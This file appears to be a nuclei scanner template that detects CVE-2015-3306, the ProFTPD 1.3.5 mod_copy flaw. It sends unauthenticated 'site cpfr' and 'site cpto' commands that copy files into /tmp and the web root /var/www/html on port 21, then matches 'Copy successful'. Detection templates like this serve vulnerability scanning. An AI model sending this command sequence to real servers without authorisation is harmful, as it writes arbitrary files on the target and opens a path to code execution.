nuclei-templates/network/cves/2015/CVE-2015-3306.yaml

48 lines
1.6 KiB
YAML

id: CVE-2015-3306
info:
name: ProFTPd - Remote Code Execution
author: pdteam
severity: critical
description: ProFTPD 1.3.5 contains a remote code execution vulnerability via the mod_copy module which allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
reference:
- https://github.com/t0kx/exploit-CVE-2015-3306
- https://www.exploit-db.com/exploits/36803/
- http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157053.html
- http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157054.html
- https://nvd.nist.gov/vuln/detail/CVE-2015-3306
remediation: Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 or later.
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
cvss-score: 10
cve-id: CVE-2015-3306
cwe-id: CWE-284
cpe: cpe:2.3:a:proftpd:proftpd:1.3.5:*:*:*:*:*:*:*
epss-score: 0.97267
metadata:
max-request: 1
product: proftpd
vendor: proftpd
tags: cve,cve2015,ftp,rce,network,proftpd,edb
tcp:
- host:
- "{{Hostname}}"
port: 21
inputs:
- data: "site cpfr /proc/self/cmdline\r\n"
read: 1024
- data: "site cpto /tmp/.{{randstr}}\r\n"
read: 1024
- data: "site cpfr /tmp/.{{randstr}}\r\n"
read: 1024
- data: "site cpto /var/www/html/{{randstr}}\r\n"
read-size: 1024
matchers:
- type: word
part: raw
words:
- "Copy successful"
# digest: 4a0a0047304502206e4bbacac7407e920b69b12bf1aacc542accbac3da13c2629ef972c3ce196a1f0221009930383e17cc9739da76a80ff0385edeca9954e833de43678ce3e5f6ebb3c02f:922c64590222798bb761d5b6d8e72950